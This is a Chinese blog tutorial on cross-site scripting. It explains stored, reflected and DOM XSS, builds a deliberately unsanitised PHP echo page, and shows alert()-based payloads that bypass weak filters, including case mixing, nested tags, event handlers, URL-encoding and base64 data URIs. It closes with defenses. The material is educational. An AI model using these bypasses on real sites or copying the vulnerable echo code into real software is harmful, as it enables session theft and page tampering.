XSS注入原理以及一些绕过姿势
介绍
XSS——跨站脚本攻击。通过这个攻击手段，攻击者可以将恶意的 JavaScript 代码插入存在 XSS 漏洞的 Web 页面中，当用户浏览带有恶意代码的页面时，这些恶意代码会被触发，从而达到攻击的目的。可以说，XSS 是针对用户层面的攻击。
XSS的分类
通常，我们把 XSS 分为三个类型，即 存储型，反射型与DOM型。不同的类型原理各有差异，而且注入的点也不同。
存储型
存储型的 XSS，最大的特点是可持久化，因为在过滤条件差的情况下，存储型的 XSS 的恶意代码会直接被保存在服务器端的数据库中。而这个恶意代码被服务器读出输出到用户端的Web页面时，恶意代码会执行，从而达到攻击的目的。可以说存储型 XSS 是影响范围最大的 XSS。通常出现在评论、文章发表等可由用户输入，并随着服务器读出的地方，容易造成蠕虫，盗窃cookie等严重影响。
攻击流程大概是这样的：
攻击者在正常服务器中注入XSS代码，且被服务器储存在了数据库中
用户在网站登录状态下，访问了恶意服务器，且浏览了存在恶意脚本的页面
正常服务器将页面信息与XSS脚本一同返回
客户端解析了页面信息与XSS脚本代码，这时脚本代码会被执行，甚至会向攻击者的恶意服务器主动发起请求
此时，攻击者就可以从自己的恶意服务器中读取用户数据
反射型
非持久化，且需要使用钓鱼等手段欺骗用户点击恶意链接才能触发恶意代码。一般反射型 XSS 会出现在搜索页面，且大多数是用来获取用户的 cookie 信息的。虽然影响范围最大的是存储型的 XSS，但是现在针对存储型 XSS 的防御非常完备，所以在利用上，反射型的利用率还是比存储型高些。
攻击流程大概是这样的：
攻击者发送带有XSS恶意的脚本链接给客户(该链接是正常服务器存在注入点的链接，且带着我们注入的内容)
客户点击了恶意链接并访问了正常服务器
服务器将XSS与页面信息返回客户端
客户端解析后请求恶意服务器
攻击者读取用户信息
DOM型
DOM 型的 XSS 注入与反射型原理类似，只不过 DOM 型的 XSS 注入不需要经过后端代码处理，而是在前端 JavaScript 调用 DOM 元素时可能产生的漏洞，可能触发 DOM 型 XSS 的 JavaScript 代码：
document.referer 返回跳转或打开到当前页面的页面的URI
window.name 可设置或返回存放窗口的名称的一个字符串
location 可以设置窗口跳转或者返回当前窗口的地址
innerHTML 内嵌HTML代码
documen.write 页面内写入字符
综上存储型的 XSS 危害最大。因为他存储在服务器端，所以不需要我们和被攻击者有任何接触，只要被攻击者访问了该页面就会遭受攻击。而反射型和 DOM 型的 XSS 则需要我们去诱使用户点击我们构造的恶意的URL，需要我们和用户有直接或者间接的接触，比如利用社会工程学或者利用在其他网页挂马的方式。
XSS的危害
XSS的注入
所有能被XSS注入的地方，都有一个共同的特点：存在允许用户输入的地方，且未对用户的输入进行检查或者检查机制不够完备。这样就极有可能产生XSS注入。
一般注入手法是先关闭外围的标签，再插入我们注入的内容，如
<div>user input
</div>
可以用
</div><script>[XSS]</script><div>
的手法进行注入，此时，代码就会变成以下这种形式
<div></div><script>[XSS]</script>
<div></div>
在页面加载的时候就会把我们的恶意代码给加载出来
同理，在注释标签以及其他各种HTML的属性值中也可以进行注入。
XSS的注入与一些绕过
接下来，我们构造一个简单的 XSS 注入，再看看一些绕过手法。
我们使用 PHPStudy，快速搭建一个Web环境
前端代码：
<html>
<head lang="en"><meta charset="UTF-8"><title>XSS测试</title>
</head>
<body><form action="xss.php" method="post">你试试： <input type="text" name="test" /> <br/><input type="submit" value="提交"></form>
</body>
</html>
后端代码：
<?php$text=$_POST["test"];echo $text;
?>
效果图：
点击提交后会在页面上打出输入的文字
接下来我们尝试注入，直接输入<script>alert('1')</script>
结果如下（在最新版本 chrome 下不成功，估计是直接ban掉了 XSS 的注入，我换到 edge 下成功了）
接下来我们来分析一下防御与绕过
一般来说，我们可以通过一些函数将 XSS 的某些关键字符过滤，如 preg_replace()，来防止注入。但是攻防是不断发展的，有防御，自然就有绕过，下面整理一下一些防御与绕过的姿势。
过滤引号 ‘’ 或 “”
<?php$text=$_POST["test"];if($text!=null){$text=preg_replace("/'/","",$text); //过滤'$text=preg_replace("/\"/","",$text); //过滤"echo $text;
}
?>
当引号被过滤时，我们的字符串就无法被输出了，这时可以用 “/[string]/”来代替，这样就可以将字符串内容打出来
比如：<script>alert(/haha/)</script>
绕过前：我们注入的内容无法被输出
绕过后：将想要输出的字符串打印弹框成功
过滤script标签
<?php$text=$_POST["test"];if($text!=null){$text=preg_replace("/<script>/","",$text); //过滤<script>$text=preg_replace("/<\/script>/","",$text); //过滤</script>echo $text;
}
?>
当 script 标签被过滤时，我们的 JavaScript 代码就无法被解析，但是这种只是过滤死了 script 小写形式，我们还是可以用大小写混淆的方法进行注入。
比如：<scripT>alert(/haha/)</scripT>
绕过前：我们的 JavaScript 代码内容被直接输出了
绕过后：
过滤script标签（不区分大小写）
<?php$text=$_POST["test"];if($text!=null){$text=preg_replace("/<script>/i","",$text); //过滤<script>$text=preg_replace("/<\/script>/i","",$text); //过滤</script>echo $text;
}
?>
加上i之后，过滤范围变成了不区分大小写，此时，可以使用嵌套的script标签进行绕过
比如：<scr<script>ipt>alert(/haha/)</scr</script>ipt>
绕过前：我们的js代码内容被直接输出了
绕过后：
过滤script标签（不区分大小写，过滤script及其之间的所有内容）
<?php$text=$_POST["test"];if($text!=null){$text=preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $text); //过滤了<script 及其之间的所有内容echo $text;
}
?>
此处用正则匹配的方式过滤了 script 及其之间的所有内容，虽然无法使用 script 标签注入 XSS 代码，但是可以通过 img、body 等标签的事件或者 iframe 等标签的 src 注入恶意的 JavaScript 代码。
比如：<svg onload="alert(1)">
绕过前：
绕过后：
服务器端代码存在 url 解码的情况
<?php$text=$_POST["test"];if($text!=null){$text=preg_replace("/</","<",$text); //将<转化为html实体$text=preg_replace("/>/",">",$text); //将>转化为html实体$text = urldecode($text);echo $text;
}
?>
此处将‘<’与‘>’转化为了html实体，但是由于代码中存在 url 解码相关的函数，我们就可以先对’<‘与’>'进行url 编码，从而绕过实体转化。
比如：%3cscript%3ealert(1)%3c/script%3e
绕过前：
绕过后：
其他XSS注入标签
之前的演示中使用的都是 <script> 标签，但是能利用 XSS 的恶意脚本中可使用的标签远远不止 <script>标签。
下面列举其中某些常见的 XSS 注入方式
真实场景中遇到的 XSS 注入语句远不止这么点，这里不多赘述
使用某些标签的on方法
<body onload="alert('xss')"></body>
<input onfocus="alert('1')" autofocus/>
使用html实体编码绕过变形
<input onfocus="alert('1')" autofocus/>
使用 src 的方式在script标签中使用 Data URI scheme 直接嵌入文本
<script src="data:text/html,alert('1')"></script>
在 iframe 标签中使用 Data URI scheme 直接嵌入 BASE64 编码后的文本
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>
使用html实体编码 BASE64 编码之后的 Data URI scheme
<script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>
XSS的防御
对于 XSS，总体的防御思路大概是：
对用户的输入(和URL参数)进行过滤，对输出进行html编码。
也就是对用户提交的所有内容进行过滤，对 url 中的参数进行过滤，过滤掉会导致脚本执行的相关内容；然后对动态输出到页面的内容进行html编码，使脚本无法在浏览器中执行。
对输入的内容进行过滤，可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的 XSS 攻击，但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝 XSS 攻击，但是真实环境中一般是不能进行如此严格的白名单过滤的。
对输出进行html编码，就是通过函数，将用户的输入的数据进行html编码，使其不能作为脚本运行。
在PHP中通常使用** htmlspecialchars 函数对用户输入的name参数进行html编码**，将其转换为html实体。这个方法可以直接将‘<’,‘>’等与 XSS 有关的内容进行实体化，可以阻挡绝大多数 XSS 的攻击。
我们还可以服务端设置会话 Cookie 的 HTTP Only 属性，这样，客户端的 JavaScript 脚本就不能获取 Cookie 信息了
总结
以上就是我找到的一些绕过技巧。到这里我想说两句，针对不同的情况，绕过的手段是不同的，具体情况还是得具体分析。只要是人写出来的代码，总会有一定的漏洞，绕过与修补就是系统安全性不断提高的一个过程，只要不断学习，总会发现代码中可以被绕过的地方。
XSS注入原理以及一些绕过姿势相关推荐
- 【渗透测试】XSS注入原理
目录 XSS注入原理 XSS的危害: XSS分类 XSS平台--漏洞利用 总结 答疑 XSS注入原理 XSS 攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, ...
- WEB漏洞测试——HTML注入及XSS注入
HTML注入 原理 目前我们所接触展示页面基本上都是由html来实现的,那么后台在处理内容的时候,是对html很少处理的,如果用户刻意通过输入框.文本框.查询框来填写html.js代码(脚本注入),那 ...
- 浅谈XSS攻击的那些事（附常用绕过姿势）
本文<浅谈XSS攻击的那些事(附常用绕过姿势)> 由一叶知安团队原创投稿安全脉搏首发,作者geek痕,安全脉搏独家首发表本文,如需要转载,请先联系安全脉搏授权:未经授权请勿转载. 随着互联 ...
- XSS绕过，XSS过滤速查，XSS绕过姿势
1.介绍 这篇文章的主要目的是给专业安全测试人员提供一份跨站脚本漏洞检测指南.文章的初始内容是由RSnake提供给 OWASP,内容基于他的XSS备忘录:http://ha.ckers.org/xss ...
- mysql 绕过select报错_Web安全之SQL注入(原理,绕过,防御)
首先了解下Mysql表结构 mysql内置的information_schema数据库中有三个表非常重要 1 schemata:表里包含所有数据库的名字 2 tables:表里包含所有数据库的所有的表 ...
- SQL注入原理与防御姿势（问答方式 描述）
SQL注入原理? 通过把SQL命令插入到Web表单提交或者输入域名或者页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令 SQL注入危害? 数据库层面 非法读取.篡改.添加.删除数据库中数据 ...
- sql注入绕过姿势--骚姿势大全
项目地址 https://github.com/Junehck/SQL-injection-bypass 项目介绍 记录实战中的各种sql注入绕过姿势, 文章并不是完整的仅提取出byapss部分, 如 ...
- 一篇文章彻底学懂SQL注入(包含基础数据库句法、SQL注入原理以及所有常见SQL注入类型以及绕过手法)
文章目录 前言 认识数据库 基本术语 select 语句 SQL where 子句 and & or 对数据进行过滤 order by 排序 insert into 向表中插入新记录 upda ...
- XSS的原理分析与解剖
http://netsecurity.51cto.com/art/201408/448305_all.htm XSS的原理分析与解剖 xss是一门又热门又不太受重视的Web攻击手法,为什么会这样呢,原 ...
最新文章
- python-三元运算
- PHP被忽视的编码规范
- MySQL查询更新所有满足条件的数据
- sql serve基础
- 前端学习（3058）：vue+element今日头条管理-回顾
- 连接阿里云物联网云平台
- （23）FPGA面试技能提升篇（SSC接口、V35接口）
- 计算文件的hash值方法 | 使用powershell 以及 使用python
- Visio-Cisco-华为-IBM网络设备官方模板
- tomcat 加载js 中文乱码
- PC-电源-001--什么是80 PLUS，金牌换钛金电源能回本吗？
- java cjson_使用cJSON
- 项目，项目集与项目组合的关系
- 我为什么放弃百词斩？
- 第7章第25节：双图排版：两张图片横竖交错叠加排版 [PowerPoint精美幻灯片实战教程]
- Excel如何按照单元格背景颜色排序
- centos7安装杀毒软件ClamAV
- 2019年，个人年终总结
- 牛客刷题记录之语法入门选择结构篇
- 自学Java day12 使用jvav实现链表 从jvav到架构师